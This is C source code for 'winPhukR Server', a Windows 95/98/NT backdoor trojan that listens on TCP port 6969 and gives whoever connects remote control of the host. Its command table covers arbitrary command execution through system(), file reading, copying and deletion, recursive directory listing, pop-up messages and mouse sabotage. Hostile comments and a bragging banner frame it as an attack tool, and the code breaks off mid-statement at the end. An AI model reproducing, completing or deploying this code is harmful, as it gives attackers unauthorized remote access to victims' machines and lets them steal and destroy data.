// Note: F*** the people. -int-Shred-R // Light a candle for the sinners...set the world on fire. //#define DEBUG #include #include #include #include char versionstring[]="|- winPhukR Server v0.01 Beta for Win95/98/NT"; unsigned short nPort=6969; int con=0; extern char ascii[55][78]; #ifdef DEBUG #define PRINTERROR(x) MessageBox(0,x,x,0); #endif SOCKET listenSocket; SOCKET remoteSocket; SOCKADDR_IN saServer; #define renderbuffersize 100 char *renderbuffer; //[renderbuffersize]; #define COMBUFSIZE 110 char *combuf; //[COMBUFSIZE+2]; #define indentbuffersize 20 char *indentbuffer; //[indentbuffersize]={' '}; #define currentdirectorysize 100 char *currentdirectory; //[100]; void AllocBuffers(void) { if ((combuf=(char*)malloc(COMBUFSIZE))==NULL) exit(1); if ((renderbuffer=(char*)malloc(renderbuffersize))==NULL) exit(1); if ((indentbuffer=(char*)malloc(indentbuffersize))==NULL) exit(1); if ((currentdirectory=(char*)malloc(currentdirectorysize))==NULL) exit(1); memset(indentbuffer, ' ', indentbuffersize); } void UnAllocBuffers(void) { free(combuf); free(renderbuffer); free(indentbuffer); free(currentdirectory); } char szBuf[3]; int comloc; char *spacepnt; char *breakspace; int localecho=1; int CommandDone=0; int indent=0; int lastindent=1; void WaitSocket(void) { int nRet; listenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { // PRINTERROR("socket()"); return; } saServer.sin_family = AF_INET; saServer.sin_addr.s_addr = INADDR_ANY; // Let WinSock supply address saServer.sin_port = htons(nPort); nRet = bind(listenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr)); if (nRet == SOCKET_ERROR) { // PRINTERROR("bind()"); closesocket(listenSocket); return; } nRet = listen(listenSocket, SOMAXCONN); if (nRet == SOCKET_ERROR) { // PRINTERROR("listen()"); closesocket(listenSocket); return; } remoteSocket = accept(listenSocket, NULL, NULL); if (remoteSocket == INVALID_SOCKET) { // PRINTERROR("accept()"); closesocket(listenSocket); return; } con=1; return; } void ClientNewLine(void) { send(remoteSocket, "\n\r", 2, 0); } void WriteLineToClient(char *s) { send(remoteSocket, s, strlen(s),0); ClientNewLine(); } void WriteToClientWithReturn(char *s) { strcat(s, "\r"); send(remoteSocket, s, strlen(s),0); } void WriteToClient(char *s) { send(remoteSocket, s, strlen(s),0); } /*unsigned long FileSize(FILE *f) { unsigned long result; fseek(f, 0, SEEK_END); result=ftell(f); rewind(f); return result; }*/ void SendTextFile(char *s) { FILE *f; f=fopen(s, "rb"); if (!f) { WriteLineToClient("ERROR: File not found.\n"); } else { while (!feof(f)) { fgets(renderbuffer, renderbuffersize, f); renderbuffer[strlen(renderbuffer)-1]='\0'; WriteLineToClient(renderbuffer); } fclose(f); } } void UpdateCurrentDirectory(void) { GetCurrentDirectory(100,currentdirectory); } void CommandExit(void) { CommandDone=1; } void CommandViewText(void) { SendTextFile(spacepnt); } void CommandMessageBox(void) { MessageBox(0, spacepnt, "System Message", 0); } void CommandEcho(void) { localecho++; localecho%=2; if (localecho) WriteLineToClient("Echo is on.\n"); else WriteLineToClient("Echo is off.\n"); } void CommandAbout(void) { int n; for (n=0; n<55; n++) { WriteLineToClient(ascii[n]); } } char *Indent(int n) { if (n!=lastindent) { indentbuffer[lastindent]=' '; if ((n < indentbuffersize) && (n >=0)) { indentbuffer[n]='\0'; lastindent=n; } } return indentbuffer; } #define fileline renderbuffer /* alias for the renderbuffer */ void DoDirectory(char *mask, int recurse) { HANDLE findhandle; WIN32_FIND_DATA fd; UpdateCurrentDirectory(); sprintf(fileline, "%s{Directory: %s\\%s--",Indent(indent),currentdirectory, mask); WriteLineToClient(fileline); findhandle=FindFirstFile(mask, &fd); if (findhandle!=INVALID_HANDLE_VALUE) do { sprintf(fileline, "%s%s (%s) %lu %s",Indent(indent),fd.cFileName,fd.cAlternateFileName,fd.nFileSizeLow, fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ? "[D]" : "\0"); WriteLineToClient(fileline); } while (FindNextFile(findhandle, &fd)); FindClose(findhandle); if (!recurse) return; findhandle=FindFirstFile("*.*", &fd); if (findhandle!=INVALID_HANDLE_VALUE) do { if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) if (recurse) { if ( (strcmp(fd.cAlternateFileName, ".")) && (strcmp(fd.cAlternateFileName, "..")) ) if (SetCurrentDirectory(fd.cAlternateFileName)) { indent+=2; DoDirectory(mask,1); indent-=2; SetCurrentDirectory(".."); } } } while (FindNextFile(findhandle, &fd)); FindClose(findhandle); sprintf(fileline,"%sDirectoryDone}",Indent(indent)); WriteLineToClient(fileline); } void CommandDirectory(void) { char mask[20]="*.*"; if (spacepnt) strcpy(mask, spacepnt); DoDirectory(mask, 0); } void CommandRecurseDirectory(void) { char mask[20]="*.*"; if (spacepnt) strcpy(mask, spacepnt); DoDirectory(mask,1); UpdateCurrentDirectory(); } void DoDirChange(char *s) { if (strchr(s, '/')) { WriteLineToClient("Invalid directory name."); return; } if (!SetCurrentDirectory(spacepnt)) { WriteLineToClient("Unable to change to that directory."); return; } UpdateCurrentDirectory(); } void CommandChangeDir(void) { DoDirChange(spacepnt); } void CommandHelp(void); void CommandDelete(void) { #ifndef DEBUG if (!DeleteFile(spacepnt)) { WriteLineToClient("Unable to delete that file."); } #endif } void CommandCopy(void) { #ifndef DEBUG breakspace=strchr(spacepnt, ' '); /* find the 2nd space */ if (!breakspace) { WriteLineToClient("Invalid syntax, retard."); return; } *breakspace='\0'; breakspace++; if (!CopyFile(spacepnt,breakspace,FALSE)) { WriteLineToClient("Unable to do the file copy."); } #endif } void CommandMouseSwap(void) { #ifndef DEBUG int static x=0; x++; x%=2; SwapMouseButton(x); #endif } void CommandMouseDClick(void) { #ifndef DEBUG SetDoubleClickTime(1); #endif } void CommandExec(void) { strcat(spacepnt, " > tmp"); system(spacepnt); SendTextFile("tmp"); DeleteFile("tmp"); } #define MAXCOMMANDS 14 struct CommandTable { char name[10]; char description[80]; void (*func)(); } command[MAXCOMMANDS]= { { "about", "Displays Paincake's a.k.a. Optikal Ghost's About Screen.", CommandAbout }, { "shutoff", "Terminate winPhukR", CommandExit }, { "type", "Display a text file. type ", CommandViewText }, { "mbox", "Popup a message box on the host's Win32. mbox ", CommandMessageBox }, { "echo", "Toggle client local echo.", CommandEcho }, { "dir", "Directory listing. dir ", CommandDirectory }, { "rdir", "Recursive Directory listing, can be used as FIND, same params as 'dir'",CommandRecurseDirectory}, { "cd", "Change directory. cd <[drive:\]directory>", CommandChangeDir }, { "del", "Delete file. (EVIL?) del ", CommandDelete }, { "copy", "Copy file. copy ", CommandCopy }, { "mbswap", "Mouse Button Swap (ANNOY?)", CommandMouseSwap }, { "mdclick", "Mouse Double Click Impossibler. (ANNOY?)", CommandMouseDClick }, { "exec", "Execute a command, system() ... stdout is sent to you after execution.",CommandExec }, { "help", "This stuff, the help subsystem.", CommandHelp }, }; void CommandHelp(void) { int n; WriteLineToClient("Available commands:"); for (n=0; n "); } int ReceiveSocket(void) { int nRet; WriteLineToClient(versionstring); WriteLineToClient("|- coded by the int-ShredR of [T.C.I.A. HEAVY INDUSTRIEZ]"); WriteLineToClient("|- Ready to shock ... next motherhater's gonna get your metal."); WriteLineToClient("|- tip: type 'help' to get yourself started ..."); UpdateCurrentDirectory(); ResetComBuf(); while (!CommandDone) { szBuf[0]=szBuf[1]=0; nRet = recv(remoteSocket, szBuf,1,0); if ((nRet == SOCKET_ERROR) || (nRet==0)) { closesocket(listenSocket); closesocket(remoteSocket); return 1; } if (szBuf[0]=='\n') /* Command completed. Process */ { WriteToClient("\n\r"); /* new line */ combuf[comloc-1]='\0'; spacepnt=strchr(combuf, ' '); if (spacepnt) { *spacepnt='\0'; spacepnt++; /* put space point at the part where parameters begin */ } if (!SearchCommandTable()) { WriteLineToClient("Bad command or file name."); } ResetComBuf(); } else /* Append to the combuf */ { if ((localecho) && (szBuf[0]!='\n')) { WriteToClient(szBuf); } if (szBuf[0]=='\b') { comloc--; } else if (comloc